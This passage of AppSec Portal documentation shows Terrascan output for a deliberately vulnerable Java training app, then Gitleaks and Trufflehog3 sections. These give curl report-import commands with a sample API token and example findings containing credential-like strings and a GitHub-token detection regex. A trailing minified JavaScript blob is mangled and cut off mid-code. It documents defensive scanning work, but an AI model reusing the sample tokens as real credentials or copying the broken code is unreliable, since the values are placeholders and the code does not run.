"/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/controllers", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/controllers' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/interceptors", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/interceptors' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/models", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/models' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/services", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/dvja/services' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/example", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/java/com/appsecco/example' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/META-INF", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/META-INF' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com/appsecco", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com/appsecco' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com/appsecco/example", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/resources/com/appsecco/example' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a10_redirect", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a10_redirect' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a1_injection", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a1_injection' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a2_broken_auth", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a2_broken_auth' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a3_xss", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a3_xss' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a4_idor", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a4_idor' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a5_sec_misconf", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a5_sec_misconf' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a6_sensitive_data", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a6_sensitive_data' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a7_missing_access_control", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a7_missing_access_control' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a8_csrf", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a8_csrf' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a9_vuln_component", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/a9_vuln_component' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/common", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/dvja/common' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/example", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/WEB-INF/example' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/css", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/css' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/fonts", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/fonts' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/less", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/less' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/scss", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/src/main/webapp/assets/fa/scss' has no terraform config files" }, { "iac_type": "cft", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "error while loading iac file '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/.gitlab-ci.yml', err: failed to find valid Resources key in file: /builds/whitespots-public/vulnerable-apps/vulnerable-java-app/.gitlab-ci.yml" }, { "iac_type": "cft", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "error while loading iac file '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docker-compose.yml', err: failed to find valid Resources key in file: /builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docker-compose.yml" }, { "iac_type": "cft", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "error while loading iac file '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/terrascan.json', err: error while resolving intrinsic functions, error invalid JSON: unexpected end of JSON input" }, { "iac_type": "arm", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "error while loading iac file '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/terrascan.json'. err: unable to parse file /builds/whitespots-public/vulnerable-apps/vulnerable-java-app/terrascan.json" }, { "iac_type": "kustomize", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "kustomization.y(a)ml file not found in the directory /builds/whitespots-public/vulnerable-apps/vulnerable-java-app" }, { "iac_type": "helm", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "no helm charts found in directory /builds/whitespots-public/vulnerable-apps/vulnerable-java-app" } ], "violations": [ { "rule_name": "runUsingApt", "description": "Ensure apt is not used with RUN command for Docker file", "rule_id": "AC_DOCKER_0002", "severity": "MEDIUM", "category": "Infrastructure Security", "resource_name": "Dockerfile", "resource_type": "docker_run", "file": "Dockerfile", "line": 4 }, { "rule_name": "runUsingApt", "description": "Ensure apt is not used with RUN command for Docker file", "rule_id": "AC_DOCKER_0002", "severity": "MEDIUM", "category": "Infrastructure Security", "resource_name": "Dockerfile", "resource_type": "docker_run", "file": "Dockerfile", "line": 5 }, { "rule_name": "runUsingApt", "description": "Ensure apt is not used with RUN command for Docker file", "rule_id": "AC_DOCKER_0002", "severity": "MEDIUM", "category": "Infrastructure Security", "resource_name": "Dockerfile", "resource_type": "docker_run", "file": "Dockerfile", "line": 6 } ], "skipped_violations": null, "scan_summary": { "file/folder": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "iac_type": "docker", "scanned_at": "2023-12-11 10:55:58.562986649 +0000 UTC", "policies_validated": 24, "violated_policies": 3, "low": 0, "medium": 3, "high": 0 } } } ``` # Secret Scanners This section describes scanners specialized in finding **secret** and **sensitive information** in repositories and code repositories. # Gitleaks Gitleaks is a powerful open-source tool that helps you find and eliminate sensitive information leaks in your Git repositories. **Auditor Job Name**: GitLab Gitleaks\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/secret-detection-gitlab:5\ **AppSec Portal Importer Name**: GitLab Gitleaks **Auditor Job Name**: Gitleaks Scan\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/gitleaks:8.15.3\ **AppSec Portal Importer Name**: Gitleaks Scan [Gitleaks](https://github.com/gitleaks/gitleaks) uses *regular expressions* to search for **specific patterns** of sensitive information. By default, it comes with a list of regular expressions that cover **common secrets**, but it can also be customized to match specific patterns. One of the unique features of Gitleaks is its ability to scan not only the repository itself but also its **entire commit history**, making it a powerful tool for detecting information leaks that may have been committed in the past. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./gl-secret-detection-report.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=GitLab Gitleaks" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./gitleaks.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Gitleaks Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (GitLab Gitleaks or Gitleaks Scan) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor](/auditor) is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ``` Finding: aws_secret="AKIAIMNOJVGFDXXXE4OA" RuleID: aws-access-token Secret AKIAIMNOJVGFDXXXE4OA Entropy: 3.65 File: checks_test.go Line: 37 Commit: ec2fc9d6cb0954fb3b57201cf6133c48d8ca0d29 Author: Zachary Rice Email: z@email.com Date: 2018-01-28T17:39:00Z Fingerprint: ec2fc9d6cb0954fb3b57201cf6133c48d8ca0d29:checks_test.go:aws-access-token:37 ``` # Trufflehog3 Trufflehog3 is a popular open-source tool for detecting secrets and credentials in source code repositories. **Auditor Job Name**: Trufflehog3 Scan\ **Auditor image:** registry.gitlab.com/whitespots/devsecops/security-images/trufflehog3:latest\ **AppSec Portal Importer Name**: Trufflehog3 Scan [Trufflehog3](https://github.com/feeltheajf/trufflehog3) uses *regular expressions* to scan for patterns that match common formats for **secret keys**, such as **AWS keys**, **private keys**, and other sensitive data. It can also detect **secrets that have been obfuscated** or **encoded** in various ways, making it a valuable tool for detecting even well-hidden secrets. While Trufflehog3 is primarily used for detecting secrets and credentials, it can also be used to search for other types of sensitive data, such as **Personally Identifiable Information (PII)**. This makes it a versatile tool for ensuring the security and privacy of your codebase. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./trufflehog3.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Trufflehog3 Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Trufflehog3 Scan) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor](/auditor) is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ```` [ { "rule": { "id": "high-entropy", "message": "High Entropy", "severity": "MEDIUM" }, "path": "src/main/webapp/WEB-INF/config.properties", "line": "4", "secret": "ec23c017306b8e0217560cae021effa2b", "context": { "4": "mysql.password=ec95c258266b8e985848cae688effa2b" }, "id": "d08f42cd-23dc-3945-96e4-4a676f89168b", "branch": null, "message": null, "author": null, "commit": null, "date": null }, { "rule": { "id": "high-entropy", "message": "High Entropy", "severity": "MEDIUM" }, "path": "docker-compose.yml", "line": "8", "secret": "ec95c872966b8e03271cae3002effa2b", "context": { "8": " MYSQL_ROOT_PASSWORD: ec95c258366b8e302179cae219effa2b" }, "id": "e49a5963-b600-3745-8505-87da8551bc33", "branch": null, "message": null, "author": null, "commit": null, "date": null }, { "rule": { "id": "high-entropy", "message": "High Entropy", "severity": "MEDIUM" }, "path": "docker-compose.yml", "line": "17", "secret": "ec95c8572036b8e2015873cae688effa2b", "context": { "17": " MYSQL_PASSWORD: ec95d212366b8e725930cae71588effa2b" }, "id": "e789a7812-b600-3305-8505-87da7051bc33", "branch": null, "message": null, "author": null, "commit": null, "date": null }, { "rule": { "id": "github.token", "message": "GitHub Token", "pattern": "[g|G][i|I][t|T][h|H][u|U][b|B].*['|\"][0-9a-zA-Z]{35,40}['|\"]", "severity": "MEDIUM" }, "path": "src/main/webapp/assets/showdown.min.js", "line": "3", "secret": "github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)\",type:\"boolean\"},headerLevelStart:{defaultValue:!1,describe:\"The header blocks level start\",type:\"integer\"},parseImgDimensions:{defaultValue:!1,describe:\"Turn on/off image dimension parsing\",type:\"boolean\"},simplifiedAutoLink:{defaultValue:!1,describe:\"Turn on/off GFM autolink style\",type:\"boolean\"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:\"Excludes trailing punctuation from links generated with autoLinking\",type:\"boolean\"},literalMidWordUnderscores:{defaultValue:!1,describe:\"Parse midword underscores as literal underscores\",type:\"boolean\"},literalMidWordAsterisks:{defaultValue:!1,describe:\"Parse midword asterisks as literal asterisks\",type:\"boolean\"},strikethrough:{defaultValue:!1,describe:\"Turn on/off strikethrough support\",type:\"boolean\"},tables:{defaultValue:!1,describe:\"Turn on/off tables support\",type:\"boolean\"},tablesHeaderId:{defaultValue:!1,describe:\"Add an id to table headers\",type:\"boolean\"},ghCodeBlocks:{defaultValue:!0,describe:\"Turn on/off GFM fenced code blocks support\",type:\"boolean\"},tasklists:{defaultValue:!1,describe:\"Turn on/off GFM tasklist support\",type:\"boolean\"},smoothLivePreview:{defaultValue:!1,describe:\"Prevents weird effects in live previews due to incomplete input\",type:\"boolean\"},smartIndentationFix:{defaultValue:!1,description:\"Tries to smartly fix indentation in es6 strings\",type:\"boolean\"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:\"Disables the requirement of indenting nested sublists by 4 spaces\",type:\"boolean\"},simpleLineBreaks:{defaultValue:!1,description:\"Parses simple line breaks as
(GFM Style)\",type:\"boolean\"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:\"Makes adding a space between `#` and the header text mandatory (GFM Style)\",type:\"boolean\"},ghMentions:{defaultValue:!1,description:\"Enables github @mentions\",type:\"boolean\"},ghMentionsLink:{defaultValue:\"https://github.com/{u}\",description:\"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.\",type:\"string\"},encodeEmails:{defaultValue:!0,description:\"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities\",type:\"boolean\"},openLinksInNewWindow:{defaultValue:!1,description:\"Open all links in new windows\",type:\"boolean\"}};if(!1===a)return JSON.parse(JSON.stringify(b));var c={};for(var d in b)b.hasOwnProperty(d)&&(c[d]=b[d].defaultValue);return c}function b(a,b){\"use strict\";var c=b?\"Error in \"+b+\" extension->\":\"Error in unnamed extension\",e={valid:!0,error:\"\"};d.helper.isArray(a)||(a=[a]);for(var f=0;f-1,l=new RegExp(b+\"|\"+c,\"g\"+j.replace(/g/g,\"\")),m=new RegExp(b,j.replace(/g/g,\"\")),n=[];do{for(e=0;g=l.exec(a);)if(m.test(g[0]))e++||(f=l.lastIndex,h=f-g[0].length);else if(e&&!--e){i=g.index+g[0].length;var o={left:{start:h,end:f},match:{start:f,end:g.index},right:{start:g.index,end:i},wholeMatch:{start:h,end:i}};if(n.push(o),!k)return n}}while(e&&(l.lastIndex=f));return n};d.helper.matchRecursiveRegExp=function(a,b,c,d){\"use strict\";for(var e=j(a,b,c,d),f=[],g=0;g0){var l=[];0!==h[0].wholeMatch.start&&l.push(a.slice(0,h[0].wholeMatch.start));for(var m=0;m=0?e+(c||0):e},d.helper.splitAtIndex=function(a,b){\"use strict\";if(!d.helper.isString(a))throw\"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string\";return[a.substring(0,b),a.substring(b)]},d.helper.encodeEmailAddress=function(a){\"use strict\";var b=[function(a){return\"&#\"+a.charCodeAt(0)+\";\"},function(a){return\"&#x\"+a.charCodeAt(0).toString(16)+\";\"},function(a){return a}];return a=a.replace(/./g,function(a){if(\"@\"===a)a=b[Math.floor(2*Math.random())](a);else{var c=Math.random();a=c>.9?b[2](a):c>.45?b[1](a):b[0](a)}return a})},\"undefined\"==typeof console&&(console={warn:function(a){\"use strict\";alert(a)},log:function(a){\"use strict\";alert(a)},error:function(a){\"use strict\";throw a}}),d.helper.regexes={asteriskAndDash:/([*_])/g},d.Converter=function(a){\"use strict\";function c(a,c){if(c=c||null,d.helper.isString(a)){if(a=d.helper.stdExtName(a),c=a,d.extensions[a])return console.warn(\"DEPRECATION WARNING: \"+a+\" is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!\"),void e(d.extensions[a],a);if(d.helper.isUndefined(f[a]))throw Error('Extension \"'+a+'\" could not be loaded. It was either not found or is not a valid extension.');a=f[a]}\"function\"==typeof a&&(a=a()),d.helper.isArray(a)||(a=[a]);var g=b(a,c);if(!g.valid)throw Error(g.error);for(var h=0;h? ?(['\"].*['\"])?\\)$/m)>-1)g=\"\";else if(!g){if(f||(f=e.toLowerCase().replace(/ ?\\n/g,\" \")),g=\"#\"+f,d.helper.isUndefined(c.gUrls[f]))return a;g=c.gUrls[f],d.helper.isUndefined(c.gTitles[f])||(j=c.gTitles[f])}g=g.replace(d.helper.regexes.asteriskAndDash,d.helper.escapeCharactersCallback);var k='\"+e+\"\"};return a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)] ?(?:\\n *)?\\[(.*?)]()()()()/g,e),a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)]()[ \\t]*\\([ \\t]?<([^>]*)>(?:[ \\t]*(([\"'])([^\"]*?)\\5))?[ \\t]?\\)/g,e),a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)]()[ \\t]*\\([ \\t]??(?:[ \\t]*(([\"'])([^\"]*?)\\5))?[ \\t]?\\)/g,e),a=a.replace(/\\[([^\\[\\]]+)]()()()()()/g,e),b.ghMentions&&(a=a.replace(/(^|\\s)(\\\\)?(@([a-z\\d\\-]+))(?=[.!?;,[\\]()]|\\s|$)/gim,function(a,c,e,f,g){if(\"\\\\\"===e)return c+f;if(!d.helper.isString(b.ghMentionsLink))throw new Error(\"ghMentionsLink option must be a string\");return c+''+f+\"\"})),a=c.converter._dispatch(\"anchors.after\",a,b,c)});var k=/\\b(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+\\.[^'\">\\s]+)()(?=\\s|$)(?![\"<>])/gi,l=/\\b(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+\\.[^'\">\\s]+?)([.!?,()\\[\\]]?)(?=\\s|$)(?![\"<>])/gi,m=/<(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+)()>/gi,n=/(^|\\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-\\/=?^_`{|}~.]+@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+)(?=$|\\s)/gim,o=/<()(?:mailto:)?([-.\\w]+@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+)>/gi,p=function(a){\"use strict\";return function(b,c,d,e,f){var g=c,h=\"\",i=\"\";return/^www\\./i.test(c)&&(c=c.replace(/^www\\./i,\"http://www.\")),a.excludeTrailingPunctuationFromURLs&&f&&(h=f),a.openLinksInNewWindow&&(i=' target=\"\u00a8E95Eblank\"'),'\"+g+\"\"+h}},q=function(a,b){\"use strict\";return function(c,e,f){var g=\"mailto:\";return e=e||\"\",f=d.subParser(\"unescapeSpecialChars\")(f,a,b),a.encodeEmails?(g=d.helper.encodeEmailAddress(g+f),f=d.helper.encodeEmailAddress(f)):g+=f,e+''+f+\"\"}};d.subParser(\"autoLinks\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"autoLinks.before\",a,b,c),a=a.replace(m,p(b)),a=a.replace(o,q(b,c)),a=c.converter._dispatch(\"autoLinks.after\",a,b,c)}),d.subParser(\"simplifiedAutoLinks\",function(a,b,c){\"use strict\";return b.simplifiedAutoLink?(a=c.converter._dispatch(\"simplifiedAutoLinks.before\",a,b,c),a=b.excludeTrailingPunctuationFromURLs?a.replace(l,p(b)):a.replace(k,p(b)),a=a.replace(n,q(b,c)),a=c.converter._dispatch(\"simplifiedAutoLinks.after\",a,b,c)):a}),d.subParser(\"blockGamut\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"blockGamut.before\",a,b,c),a=d.subParser(\"blockQuotes\")(a,b,c),a=d.subParser(\"headers\")(a,b,c),a=d.subParser(\"horizontalRule\")(a,b,c),a=d.subParser(\"lists\")(a,b,c),a=d.subParser(\"codeBlocks\")(a,b,c),a=d.subParser(\"tables\")(a,b,c),a=d.subParser(\"hashHTMLBlocks\")(a,b,c),a=d.subParser(\"paragraphs\")(a,b,c),a=c.converter._dispatch(\"blockGamut.after\",a,b,c)}),d.subParser(\"blockQuotes\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"blockQuotes.before\",a,b,c),a=a.replace(/((^ {0,3}>[ \\t]?.+\\n(.+\\n)*\\n*)+)/gm,function(a,e){var f=e;return f=f.replace(/^[ \\t]*>[ \\t]?/gm,\"\u00a80\"),f=f.replace(/\u00a80/g,\"\"),f=f.replace(/^[ \\t]+$/gm,\"\"),f=d.subParser(\"githubCodeBlocks\")(f,b,c),f=d.subParser(\"blockGamut\")(f,b,c),f=f.replace(/(^|\\n)/g,\"$1 \"),f=f.replace(/(\\s*
[^\\r]+?<\\/pre>)/gm,function(a,b){var c=b;return c=c.replace(/^  /gm,\"\u00a80\"),c=c.replace(/\u00a80/g,\"\")}),d.subParser(\"hashBlock\")(\"
\\n\"+f+\"\\n
\",b,c)}),a=c.converter._dispatch(\"blockQuotes.after\",a,b,c)}),d.subParser(\"codeBlocks\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"codeBlocks.before\",a,b,c),a+=\"\u00a80\";var e=/(?:\\n\\n|^)((?:(?:[ ]{4}|\\t).*\\n+)+)(\\n*[ ]{0,3}[^ \\t\\n]|(?=\u00a80))/g;return a=a.replace(e,function(a,e,f){var g=e,h=f,i=\"\\n\";return g=d.subParser(\"outdent\")(g,b,c),g=d.subParser(\"encodeCode\")(g,b,c),g=d.subParser(\"detab\")(g,b,c),g=g.replace(/^\\n+/g,\"\"),g=g.replace(/\\n+$/g,\"\"),b.omitExtraWLInCodeBlocks&&(i=\"\"),g=\"
\"+g+i+\"
